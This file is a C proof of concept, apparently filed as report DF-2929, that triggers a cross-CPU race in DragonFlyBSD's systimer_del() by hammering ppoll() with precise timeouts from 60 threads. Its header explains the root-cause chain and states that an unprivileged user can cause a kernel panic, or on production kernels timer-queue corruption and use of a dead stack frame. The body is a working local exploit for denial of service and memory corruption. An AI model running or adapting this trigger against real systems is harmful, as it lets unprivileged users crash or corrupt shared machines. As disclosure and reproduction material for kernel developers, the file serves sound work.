DF-2929 / df2929_ppollrace.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | /* * DF-2929 โ unprivileged cross-CPU systimer_del() race trigger * Target: sys/kern/kern_systimer.c systimer_del() (DragonFlyBSD 6.5-DEVELOPMENT) * * Root cause chain: * sys_ppoll() with a non-NULL timeout passes KEVENT_TIMEOUT_PRECISE * (sys/kern/sys_generic.c:1295-1296) -> dopoll() -> kern_kevent() -> * precise_sleep() (sys/kern/kern_event.c:2114-2131), which arms a * STACK-ALLOCATED systimer via systimer_init_oneshot() on the arming * cpu, tsleep()s, and on wakeup โ possibly on a *different* cpu under * the user scheduler โ calls systimer_del() from that cpu * (kern_event.c:2127). * * systimer_del() requires "Only the owning cpu can delete a timer" * (kern_systimer.c:211,216-220) but enforces it only with KKASSERT. * A cross-cpu delete executes an unsynchronized TAILQ_REMOVE() on the * owning cpu's gd_systimerq (racing systimer_intr()/systimer_add() * under the owner's critical section, which cannot stop a remote cpu) * and a cross-cpu write to gd_systimer_inprog. * * Expected on this INVARIANTS guest kernel: * kernel panic: KKASSERT "gd == mycpu && (info->flags & * SYSTF_IPIRUNNING) == 0" in systimer_del, backtrace through * precise_sleep <- kern_kevent <- dopoll <- sys_ppoll. * On production (no-INVARIANTS) kernels the same sequence races the * owner cpu's timer-queue walk / insert with an unsynchronized unlink, * corrupting gd_systimerq, and reuses the dead stack frame the timer * still points into (systimer_intr calls info->func(info,...) at * kern_systimer.c:100 on a frame whose owner already returned). * * Unprivileged. No setup beyond a compiler. */ #include <sys/types.h> #include <poll.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <time.h> #include <unistd.h> #ifndef __unused #define __unused __attribute__((__unused__)) #endif static volatile sig_atomic_t stop_flag; static unsigned long total_iters; #define NSLEEPERS 60 #define NSPIN 0 /* spinners prevent idle-cpu stealing; keep 0 */ static void *hammer(void *x __unused) { struct pollfd pfd; int pipefd[2]; struct timespec ts; if (pipe(pipefd) != 0) { perror("pipe"); exit(1); } /* keep write end open so the read end never becomes ready */ pfd.fd = pipefd[0]; pfd.events = POLLIN; while (!stop_flag) { /* 0.2ms .. 3ms precise timeouts -> precise_sleep() */ ts.tv_sec = 0; ts.tv_nsec = 200000 + (random() % 2800000); ppoll(&pfd, 1, &ts, NULL); __sync_fetch_and_add(&total_iters, 1UL); } close(pipefd[0]); close(pipefd[1]); return (NULL); } static void *spinner(void *x __unused) { volatile unsigned long j = 0; while (!stop_flag) j++; return (NULL); } int main(int argc, char **argv) { int seconds = (argc > 1) ? atoi(argv[1]) : 120; pthread_t th[NSLEEPERS + NSPIN]; int i; fprintf(stderr, "DF-2929 ppoll precise-sleep hammer: %d sleepers, " "%d spinners, %ds\n", NSLEEPERS, NSPIN, seconds); for (i = 0; i < NSPIN; i++) pthread_create(&th[i], NULL, spinner, NULL); for (i = 0; i < NSLEEPERS; i++) pthread_create(&th[i + NSPIN], NULL, hammer, NULL); for (i = 0; i < seconds && !stop_flag; i++) { sleep(1); fprintf(stderr, "[%ds] iterations=%lu\n", i + 1, total_iters); } stop_flag = 1; for (i = 0; i < NSLEEPERS + NSPIN; i++) pthread_join(th[i], NULL); fprintf(stderr, "done, no panic observed. iterations=%lu\n", total_iters); return (0); } |